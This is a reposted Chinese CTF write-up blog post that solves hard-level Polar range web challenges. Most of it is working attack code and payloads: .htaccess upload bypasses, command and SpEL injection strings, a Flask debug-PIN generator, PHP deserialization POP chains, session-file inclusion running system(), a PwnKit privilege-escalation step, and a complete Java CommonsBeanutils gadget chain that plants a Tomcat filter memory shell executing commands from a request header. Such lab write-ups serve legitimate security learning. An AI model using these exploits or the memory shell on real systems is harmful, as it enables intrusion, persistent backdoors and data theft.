0
0

【Web】记录Polar靶场＜困难＞难度题一遍过

最后还剩了两题，有点累了，后面有空就补上

上传

php文件应该是传不上去了

但看响应头可以上传.htaccess来包含恶意文件

SetHandler application/x-httpd-php

当前目录以及子目录所有文件将会被当作php解析。

再上传个图片马

回显了个<?，后续访问也是404，就是没传上去呗，文件内容还有问题

尝试用script标签继续优化，避开<?

但很可惜，高版本下服务器并不解析这种script标签为php代码，仍然不行

文件上传之.htaccess的一些技巧 - FreeBuf网络安全行业门户

于是在将所有文件解析为php的同时，开启php_value auto_append_file用base64解码来包含恶意文件，从而绕过<?的限制

显示内容不能有file，尝试大小写绕过，但似乎不能解析

于是用\来绕过

再传个base64编码的图片马

访问/upload/yjh.png

连蚁剑，拿flag

PHP是世界上最好的语言

题目提示flag在$flag这个变量中

两处变量覆盖，$POST的值要在第一处就覆盖好

最后传参的时候用504[SYS.COM，不解释

非常好绕的命令执行

  1. if (!preg_match($blacklist,$evil) and !ctype_space($evil) and ctype_graph($evil))

这一行是一个条件判断语句，检查拼接的恶意代码是否通过了黑名单检查，且不是纯空格字符，且是可打印的字符。

将冗余的括号注释掉，用#即%23来注释(浏览器里不能直接传#，否则其会被当作锚点)

payload: 

  1. ?args1=echo&args2=`cat<flagggg`);%23&arg3=1

这又是一个上传

随便上传一个php文件，直接弹窗了，有前端检测

禁用js即可

太感动了，直接传上去了

连上蚁剑后主打一个没权限

得提权了兄弟们

可以看这篇文章：

【Web】超级详细的Linux权限提升一站式笔记_linux文件权限提升-CSDN博客

先查找suid文件

挺遗憾没有熟面孔的，但注意到一个刺眼的存在：/opt/polkit-0.105/src/programs/.libs/pkexec

这不嘎嘎乱搜

靠谱:

GitHub - luijait/PwnKit-Exploit: Proof of Concept (PoC) CVE-2021-4034

下面得用哥斯拉操作了

脚本文件上传到/tmp目录下

注意虚拟终端tty不完整

linux tty、伪tty是什么？-CSDN博客

用SuperTerminal执行提权，拿到flag

网站被黑

进来试试常规的信息搜集，发包看到响应头的Hint

base32解码

访问/n0_0ne_f1nd_m3/

text部分一眼data协议

  1. ?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgNTA0c3lz

file的话尝试过日志包含，但并不行

于是换个编码方式绕过

quoted-printable 是一种编码方法，通常用于将二进制数据转换为 ASCII 字符串。

file=php://filter/read=convert.quoted-printable-encode/resource=imposible.php

最终payload:

  1. ?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgNTA0c3lz&file=php://filter/read=convert.quoted-printable-encode/resource=imposible.php

flask_pin

太典了太典了

flask算pin

初始界面直接得知了app路径:/usr/local/lib/python3.5/site-packages/flask/app.py

访问/console发现开启了debug模式

读/etc/passwd看用户名

/sys/class/net/eth0/address读getNode得到uuid

0242ac02dade十六进制转十进制即可

2485376965342

读/etc/machine-id

c31eea55a29431535ff01de94bdcf5cf

读 /proc/self/cgroup

8a2d6ad4495a852d775e28b65325a5e5dc06bbc230ac0ed4279b0a6b0ee6574b

整理后 拼接得到最终machine_id 

  1. c31eea55a29431535ff01de94bdcf5cf8a2d6ad4495a852d775e28b65325a5e5dc06bbc230ac0ed4279b0a6b0ee6574b

经过尝试sha1算法不对，可以用md5算法生成pin

  1. import hashlib
  2. from itertools import chain
  4. def getPIN(public_bits, private_bits):
  5.     rv = None
  6.     num = None
  7.     # h = hashlib.md5()
  8.     h = hashlib.sha1()
  9.     for bit in chain(public_bits, private_bits):
  10.         if not bit:
  11.             continue
  12.         if isinstance(bit, str):
  13.             bit = bit.encode("utf-8")
  14.         h.update(bit)
  15.     h.update(b"cookiesalt")
  17.     cookie_name = f"__wzd{h.hexdigest()[:20]}"
  19.     # If we need to generate a pin we salt it a bit more so that we don't
  20.     # end up with the same value and generate out 9 digits
  21.     if num is None:
  22.         h.update(b"pinsalt")
  23.         num = f"{int(h.hexdigest(), 16):09d}"[:9]
  24.     # Format the pincode in groups of digits for easier remembering if
  25.     # we don't have a result yet.
  26.     if rv is None:
  27.         for group_size in 5, 4, 3:
  28.             if len(num) % group_size == 0:
  29.                 rv = "-".join(
  30.                     num[x: x + group_size].rjust(group_size, "0")
  31.                     for x in range(0, len(num), group_size)
  32.                 )
  33.                 break
  34.         else:
  35.             rv = num
  37.     return rv, cookie_name
  39. if __name__ == "__main__":
  40.     public_bits = [
  41.         'root',
  42.         'flask.app',
  43.         'Flask',
  44.         '/usr/local/lib/python3.5/site-packages/flask/app.py'
  45.     ]
  47.     private_bits = [
  48.         '2485376965342',
  49.         'c31eea55a29431535ff01de94bdcf5cf8a2d6ad4495a852d775e28b65325a5e5dc06bbc230ac0ed4279b0a6b0ee6574b'
  50.     ]
  52.     PIN = getPIN(public_bits, private_bits)
  53.     print(PIN)

输入pin进入console，为所欲为即可

veryphp

一眼变量覆盖，还有个很恶意的waf

🤔hackbar发包不行，得用bp发包，可能是因为有啥特殊符号吧

_用[来绕过

  1. shaw[root=-a9<b>22222222>>>>pabcphp@Rs1

md5("shaw".($SecretNumber)."root")==166b47a5cb1ca2431a0edfcef200684f && strlen($SecretNumber)===5

gpt搓个脚本

  1. <?php
  3. $targetHash = '166b47a5cb1ca2431a0edfcef200684f';
  4. $prefix = 'shaw';
  6. for ($i = 0; $i < 100000; $i++) { // 尝试所有可能的数字，假设范围在 0 到 99999 之间
  7.     $SecretNumber = str_pad($i, 5, '0', STR_PAD_LEFT); // 格式化为5位数，不足的用0填充
  9.     $hash = md5($prefix . $SecretNumber . 'root'); // 生成哈希
  11.     if ($hash === $targetHash) { // 检查哈希是否匹配目标哈希
  12.         echo "找到匹配的 SecretNumber: $SecretNumber\n";
  13.         break;
  14.     }
  15. }

爆出来是21475

最后注意过滤了e，所以call_user_func不能直接利用system

考虑利用qwq这个文件读取类的静态方法

毒鸡汤

访问/robots.txt

访问/hint.txt

访问/www.zip拿到附件

在index.php里看到一段任意文件包含

?readfile=yulu.txt试了一下确实可以利用

然后看了看yulu.php和dog.php没啥特别的

随手一试，我测，包含/flag直接就出了

upload tutu

​​​​​改MIMETYPE，显示要让文件内容不同

对文件内容修改后，要求文件内容md5值相同

传两个相等的md5值

s1885207154a

s1836677006a

跳转到新的界面，直接拿到了flag

Unserialize_Escape

这个filter特征，将匹配的 

  1. x

替换为 

  1. yy，

一眼字符串逃逸

要逃逸20个长度，前面塞20个x就可

  1. <?php
  2. $username="Z3r4y";
  3. $password="aaaaa";
  4. $user = array($username, $password);
  5. echo serialize($user);
  6. //a:2:{i:0;s:5:"Z3r4y";i:1;s:5:"aaaaa";}
  7. //";i:1;s:5:"aaaaa";}
  8. //";i:1;s:6:"123456";}
  9. echo strlen("\";i:1;s:6:\"123456\";}");
  10. //20

payload:

  1. username=Z3r4yxxxxxxxxxxxxxxxxxxxx";i:1;s:6:"123456";}

自由的文件上传系统

随便传个马，发现对文件修改了

直接不以php解析了，只能配合文件包含来利用了

注意到这里?被替换为了!

可以用script标签来绕过

点一下那个小房子的logo，跳转到一个文件包含点

访问/sectet_include.php?file=upload/6481059636

连蚁剑，拿flag

ezjava

看到提示，flag在/app/flag.txt

附件没啥内容，这不一眼spel注入

参考文章：

SpEL表达式注入漏洞学习和回显poc研究

payload:

  1. new java.io.BufferedReader(new java.io.InputStreamReader(new ProcessBuilder(new String[]{"bash","-c","cat /app/flag.txt"}).start().getInputStream(), "utf8")).readLine()

记得url编码一次

苦海

题目源码

  1. <?php
  2. /*
  3. PolarD&N CTF
  4. */
  5. error_reporting(1);
  7. class User
  8. {
  9.     public $name = 'PolarNight';
  10.     public $flag = 'syst3m("rm -rf ./*");';
  12.     public function __construct()
  13.     {
  14.         echo "删库跑路，蹲监狱~";
  15.     }
  17.     public function printName()
  18.     {
  19.         echo $this->name;
  20.         return 'ok';
  21.     }
  23.     public function __wakeup()
  24.     {
  25.         echo "hi, Welcome to Polar D&N ~ ";
  26.         $this->printName();
  27.     }
  29.     public function __get($cc)
  30.     {
  31.         echo "give you flag : " . $this->flag;
  32.     }
  33. }
  35. class Surrender
  36. {
  37.     private $phone = 110;
  38.     public $promise = '遵纪守法，好公民~';
  40.     public function __construct()
  41.     {
  42.         $this->promise = '苦海无涯，回头是岸！';
  43.         return $this->promise;
  44.     }
  46.     public function __toString()
  47.     {
  48.         return $this->file['filename']->content['title'];
  49.     }
  50. }
  52. class FileRobot
  53. {
  54.     public $filename = 'flag.php';
  55.     public $path;
  57.     public function __get($name)
  58.     {
  59.         $function = $this->path;
  60.         return $function();
  61.     }
  63.     public function Get_file($file)
  64.     {
  65.         $hint = base64_encode(file_get_contents($file));
  66.         echo $hint;
  67.     }
  69.     public function __invoke()
  70.     {
  71.         $content = $this->Get_file($this->filename);
  72.         echo $content;
  73.     }
  74. }
  76. if (isset($_GET['user'])) {
  77.     unserialize($_GET['user']);
  78. } else {
  79.     $hi = new  User();
  80.     highlight_file(__FILE__);
  81. }

瞪眼看链子

User.__wakeup -> User.printName -> Surrender.__toString -> FileRobot.__get -> FileRobot.__invoke -> FileRobot.Get_file

exp

  1. <?php
  2. class User
  3. {
  4.     public $name;
  5. }
  7. class Surrender
  8. {
  9. }
  11. class FileRobot
  12. {
  13.     public $filename;
  14.     public $path;
  15. }
  17. $d=new FileRobot();
  18. $c=new FileRobot();
  19. $b=new Surrender();
  20. $a=new User();
  21. $d->filename='../flag.php';
  22. $c->path=$d;
  23. $b->file['filename']=$c;
  24. $a->name=$b;
  25. echo serialize($a);

payload:

  1. ?user=O:4:"User":1:{s:4:"name";O:9:"Surrender":1:{s:4:"file";a:1:{s:8:"filename";O:9:"FileRobot":2:{s:8:"filename";N;s:4:"path";O:9:"FileRobot":2:{s:8:"filename";s:11:"../flag.php";s:4:"path";N;}}}}}

base64解码拿到flag

你想逃也逃不掉

这不一眼字符串逃逸

exp

  1. <?php
  2. function filter($string){
  3.     return preg_replace( '/phtml|php3|php4|php5|aspx|gif/','', $string);
  4. }
  6. class User
  7. {
  8.     public $name;
  9.     public $passwd;
  10.     public $sign;
  11. }
  13. $a=new User();
  14. $a->name="phtmlphtmlphtmlphtml";
  15. $a->passwd=";s:6:\"passwd\";s:0:\"\";s:4:\"sign\";s:6:\"ytyyds\";}";
  16. $a->sign="123456";
  18. echo filter(serialize($a));
  20. echo strlen("\";s:6:\"passwd\";s:26:");
  21. //20 => 即要逃逸20个字符

safe_include

先写入恶意session文件 

  1. ?xxs=<?php+system('tac+/f*');?>

再包含恶意session文件 

  1. ?xxs=/tmp/sess_cofdad2n8lie1e30im77qhbrv6

CB链

看pom依赖，活活一个CB链呗

反序列化入口在/user路由下 ，也没在输入流处做过滤

题目环境不出网，考虑注入内存马

payload过长会报错，采用MyClassLoader来中转，从而实现分段传内存马

目录结构如下：

EXP.java

  1. package org.example;
  3. import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
  4. import org.apache.commons.beanutils.BeanComparator;
  6. import java.io.*;
  7. import java.lang.reflect.Field;
  8. import java.util.Base64;
  9. import java.util.PriorityQueue;
  11. public class EXP {
  13.     public static void main(String[] args) throws Exception {
  15.         final TemplatesImpl templates = createTemplatesImpl(MyClassLoader.class);
  17.         // mock method name until armed
  18.         final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
  20.         // create queue with numbers and basic comparator
  21.         final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
  22.         // stub data for replacement later
  23.         queue.add("1");
  24.         queue.add("1");
  26.         // switch method called by comparator
  27.         setFieldValue(comparator, "property", "outputProperties");
  29.         // switch contents of queue
  30.         final Object[] queueArray = (Object[]) getFieldValue(queue, "queue");
  31.         queueArray[0] = templates;
  32.         queueArray[1] = templates;
  34.         ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
  35.         ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
  36.         objectOutputStream.writeObject(queue);
  38.         byte[] bytes = byteArrayOutputStream.toByteArray();
  40.         System.out.println(Base64.getEncoder().encodeToString(bytes));
  41.     }
  43.     public static <T> T createTemplatesImpl(Class c) throws Exception {
  44.         Class<T> tplClass = null;
  45.         if (Boolean.parseBoolean(System.getProperty("properXalan", "false"))) {
  46.             tplClass = (Class<T>) Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl");
  47.         } else {
  48.             tplClass = (Class<T>) TemplatesImpl.class;
  49.         }
  50.         final T templates = tplClass.newInstance();
  51.         final byte[] classBytes = classAsBytes(c);
  53.         setFieldValue(templates, "_bytecodes", new byte[][]{
  54.                 classBytes
  55.         });
  56.         setFieldValue(templates, "_name", "Pwnr");
  57.         return templates;
  58.     }
  59.     public static void setFieldValue(Object obj, String fieldName, Object fieldValue) throws NoSuchFieldException, IllegalAccessException {
  60.         Class clazz = obj.getClass();
  61.         Field classField = clazz.getDeclaredField(fieldName);
  62.         classField.setAccessible(true);
  63.         classField.set(obj, fieldValue);
  64.     }
  66.     public static Object getFieldValue(Object obj, String fieldName) throws NoSuchFieldException, IllegalAccessException {
  67.         Class<?> clazz = obj.getClass();
  68.         Field classField = clazz.getDeclaredField(fieldName);
  69.         classField.setAccessible(true);
  70.         return classField.get(obj);
  71.     }
  73.     public static byte[] classAsBytes(final Class<?> clazz) {
  74.         try {
  75.             final byte[] buffer = new byte[1024];
  76.             final String file = classAsFile(clazz);
  77.             final InputStream in = clazz.getClassLoader().getResourceAsStream(file);
  78.             if (in == null) {
  79.                 throw new IOException("couldn't find '" + file + "'");
  80.             }
  81.             final ByteArrayOutputStream out = new ByteArrayOutputStream();
  82.             int len;
  83.             while ((len = in.read(buffer)) != -1) {
  84.                 out.write(buffer, 0, len);
  85.             }
  86.             return out.toByteArray();
  87.         } catch (IOException e) {
  88.             throw new RuntimeException(e);
  89.         }
  90.     }
  92.     public static String classAsFile(final Class<?> clazz) {
  93.         return classAsFile(clazz, true);
  94.     }
  96.     public static String classAsFile(final Class<?> clazz, boolean suffix) {
  97.         String str;
  98.         if (clazz.getEnclosingClass() == null) {
  99.             str = clazz.getName().replace(".", "/");
  100.         } else {
  101.             str = classAsFile(clazz.getEnclosingClass(), false) + "$" + clazz.getSimpleName();
  102.         }
  103.         if (suffix) {
  104.             str += ".class";
  105.         }
  106.         return str;
  107.     }
  108. }

MyClassLoader.java

  1. package org.example;
  3. import com.sun.org.apache.xalan.internal.xsltc.DOM;
  4. import com.sun.org.apache.xalan.internal.xsltc.TransletException;
  5. import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
  6. import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
  7. import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
  8. import java.util.Base64;
  10. public class MyClassLoader extends AbstractTranslet {
  11.     static{
  12.         try{
  13.             javax.servlet.http.HttpServletRequest request = ((org.springframework.web.context.request.ServletRequestAttributes)org.springframework.web.context.request.RequestContextHolder.getRequestAttributes()).getRequest();
  14.             java.lang.reflect.Field r=request.getClass().getDeclaredField("request");
  15.             r.setAccessible(true);
  16.             org.apache.catalina.connector.Response response =((org.apache.catalina.connector.Request) r.get(request)).getResponse();
  17.             javax.servlet.http.HttpSession session = request.getSession();
  19.             String classData=request.getParameter("classData");
  20.             System.out.println("classData:"+classData);
  22.             byte[] classBytes = Base64.getDecoder().decode(classData);
  23.             java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass",new Class[]{byte[].class, int.class, int.class});
  24.             defineClassMethod.setAccessible(true);
  25.             Class cc = (Class) defineClassMethod.invoke(MyClassLoader.class.getClassLoader(), classBytes, 0,classBytes.length);
  26.             cc.newInstance().equals(new Object[]{request,response,session});
  27.         }catch(Exception e){
  28.             e.printStackTrace();
  29.         }
  30.     }
  31.     public void transform(DOM arg0, SerializationHandler[] arg1) throws TransletException {
  32.     }
  33.     public void transform(DOM arg0, DTMAxisIterator arg1, SerializationHandler arg2) throws TransletException {
  34.     }
  35. }

FilterMem.java

  1. package org.example;
  3. import javax.servlet.*;
  4. import java.io.BufferedReader;
  5. import java.io.IOException;
  6. import java.io.InputStream;
  7. import java.io.InputStreamReader;
  8. import java.util.stream.Collectors;
  10. public class FilterMem implements javax.servlet.Filter{
  11.     private javax.servlet.http.HttpServletRequest request = null;
  12.     private org.apache.catalina.connector.Response response = null;
  13.     private javax.servlet.http.HttpSession session =null;
  15.     @Override
  16.     public void init(FilterConfig filterConfig) throws ServletException {
  17.     }
  18.     public void destroy() {}
  19.     @Override
  20.     public void doFilter(ServletRequest request1, ServletResponse response1, FilterChain filterChain) throws IOException, ServletException {
  21.         javax.servlet.http.HttpServletRequest request = (javax.servlet.http.HttpServletRequest)request1;
  22.         javax.servlet.http.HttpServletResponse response = (javax.servlet.http.HttpServletResponse)response1;
  23.         javax.servlet.http.HttpSession session = request.getSession();
  24.         String cmd = request.getHeader("Polar-CMD");
  25.         System.out.println(cmd);
  26.         if (cmd != null) {
  27.             //System.out.println("1");
  28.             response.setHeader("Polar-START", "OK");
  29.             // 使用 ProcessBuilder 执行命令
  30.             Process process = new ProcessBuilder(cmd.split("\\s+"))
  31.                     .redirectErrorStream(true)
  32.                     .start();
  33.             //System.out.println("2");
  34.             // 获取命令执行的输入流
  35.             InputStream inputStream = process.getInputStream();
  37.             // 使用 Java 8 Stream 将输入流转换为字符串
  38.             String result = new BufferedReader(new InputStreamReader(inputStream))
  39.                     .lines()
  40.                     .collect(Collectors.joining(System.lineSeparator()));
  41.             System.out.println("3");
  42.             response.setHeader("Polar-RESULT",result);
  43.         } else {
  44.             filterChain.doFilter(request, response);
  45.         }
  46.     }
  47.     public boolean equals(Object obj) {
  48.         Object[] context=(Object[]) obj;
  49.         this.session = (javax.servlet.http.HttpSession ) context[2];
  50.         this.response = (org.apache.catalina.connector.Response) context[1];
  51.         this.request = (javax.servlet.http.HttpServletRequest) context[0];
  52.         try {
  53.             dynamicAddFilter(new FilterMem(),"Shell","/*",request);
  54.         } catch (IllegalAccessException e) {
  55.             e.printStackTrace();
  56.         }
  57.         return true;
  58.     }
  59.     public static void dynamicAddFilter(javax.servlet.Filter filter,String name,String url,javax.servlet.http.HttpServletRequest request) throws IllegalAccessException {
  60.         javax.servlet.ServletContext servletContext=request.getServletContext();
  61.         if (servletContext.getFilterRegistration(name) == null) {
  62.             java.lang.reflect.Field contextField = null;
  63.             org.apache.catalina.core.ApplicationContext applicationContext =null;
  64.             org.apache.catalina.core.StandardContext standardContext=null;
  65.             java.lang.reflect.Field stateField=null;
  66.             javax.servlet.FilterRegistration.Dynamic filterRegistration =null;
  67.             try {
  68.                 contextField=servletContext.getClass().getDeclaredField("context");
  69.                 contextField.setAccessible(true);
  70.                 applicationContext = (org.apache.catalina.core.ApplicationContext) contextField.get(servletContext);
  71.                 contextField=applicationContext.getClass().getDeclaredField("context");
  72.                 contextField.setAccessible(true);
  73.                 standardContext= (org.apache.catalina.core.StandardContext) contextField.get(applicationContext);
  74.                 stateField=org.apache.catalina.util.LifecycleBase.class.getDeclaredField("state");
  75.                 stateField.setAccessible(true);
  76.                 stateField.set(standardContext,org.apache.catalina.LifecycleState.STARTING_PREP);
  77.                 filterRegistration = servletContext.addFilter(name, filter);
  78.                 filterRegistration.addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false,new String[]{url});
  79.                 java.lang.reflect.Method filterStartMethod = org.apache.catalina.core.StandardContext.class.getMethod("filterStart");
  80.                 filterStartMethod.setAccessible(true);
  81.                 filterStartMethod.invoke(standardContext, null);
  82.                 stateField.set(standardContext,org.apache.catalina.LifecycleState.STARTED);
  83.             }catch (Exception e){
  84.             }finally {
  85.                 stateField.set(standardContext,org.apache.catalina.LifecycleState.STARTED);
  86.             }
  87.         }
  88.     }
  89. }

用下面这个网站把字节码转base64

CyberChef

传的时候记得urlencode一下

先打入内存马

再命令执行

phar

先文件包含读funs.php 

  1. ?file=php://filter/convert.base64-encode/resource=funs.php

base64解码得

  1. <?php
  2. include 'f1@g.php';
  3. function myWaf($data)
  4. {
  5.     if (preg_match("/f1@g/i", $data)) {
  6.         echo "NONONONON0!";
  7.         return FALSE;
  8.     } else {
  9.         return TRUE;
  10.     }
  11. }
  13. class A
  14. {
  15.     private $a;
  17.     public function __destruct()
  18.     {
  19.         echo "A->" . $this->a . "destruct!";
  20.     }
  21. }
  23. class B
  24. {
  25.     private $b = array();
  26.     public function __toString()
  27.     {
  28.         $str_array= $this->b;
  29.         $str2 = $str_array['kfc']->vm50;
  30.         return "Crazy Thursday".$str2;
  31.     }
  32. }
  33. class C{
  34.     private $c = array();
  35.     public function __get($kfc){
  36.         global $flag;
  37.         $f = $this->c[$kfc];
  38.         var_dump($$f);
  39.     }
  40. }

瞪眼看链子

A.__destruct -> B.__toString -> C.__get

exp:

  1. <?php
  3. class A
  4. {
  5.     public $a;
  6. }
  8. class B
  9. {
  10.     public $b = array();
  11. }
  12. class C{
  13.     public $c = array();
  14. }
  16. $c=new C();
  17. $b=new B();
  18. $a=new A();
  19. $c->c=array("vm50"=>"flag");
  20. $b->b=array("kfc"=>$c);
  21. $a->a=$b;
  22. echo serialize($a);

payload:

  1. ?file=f1@g&data=O:1:"A":1:{s:1:"a";O:1:"B":1:{s:1:"b";a:1:{s:3:"kfc";O:1:"C":1:{s:1:"c";a:1:{s:4:"vm50";s:4:"flag";}}}}}

PHP_Deserialization

瞪眼看链子

Polar.__wakeup -> Night.__call -> Day.__toString

exp:

  1. <?php
  3. class Polar
  4. {
  5.     public $night;
  6.     public $night_arg;
  7. }
  9. class Night
  10. {
  11. }
  13. class Day
  14. {
  15.     public $filename;
  16. }
  18. $c=new Day();
  19. $b=new Night();
  20. $a=new Polar();
  21. $c->filename="/flflagag";
  22. $a->night=$b;
  23. $a->night_arg=$c;
  24. echo base64_encode(serialize($a));

payload:

  1. polar=Tzo1OiJQb2xhciI6Mjp7czo1OiJuaWdodCI7Tzo1OiJOaWdodCI6MDp7fXM6OToibmlnaHRfYXJnIjtPOjM6IkRheSI6MTp7czo4OiJmaWxlbmFtZSI7czo5OiIvZmxmbGFnYWciO319

标签： polarctf ctf web
本文转载自: https://blog.csdn.net/uuzeray/article/details/137246913
版权归原作者 Z3r4y 所有， 如有侵权，请联系我们删除。
登录后发布评论

“【Web】记录Polar靶场＜困难＞难度题一遍过”的评论:

还没有评论
关于作者
...
overfit同步小助手
文章同步
相关阅读

网络安全法-网络运行安全

使用selenium/drissionpage时如何阻止chrome自动跳转http到https

docker desktop 里部署的Open WebUI 管理员密码忘记了的处理方法

在ubuntu20.04中搭建onsite比赛运行环境

利用开源的低代码表单设计器FcDesigner高效管理和渲染复杂表单结构

Kafka学习笔记

【前端】浏览器输入url到页面呈现发生了什么？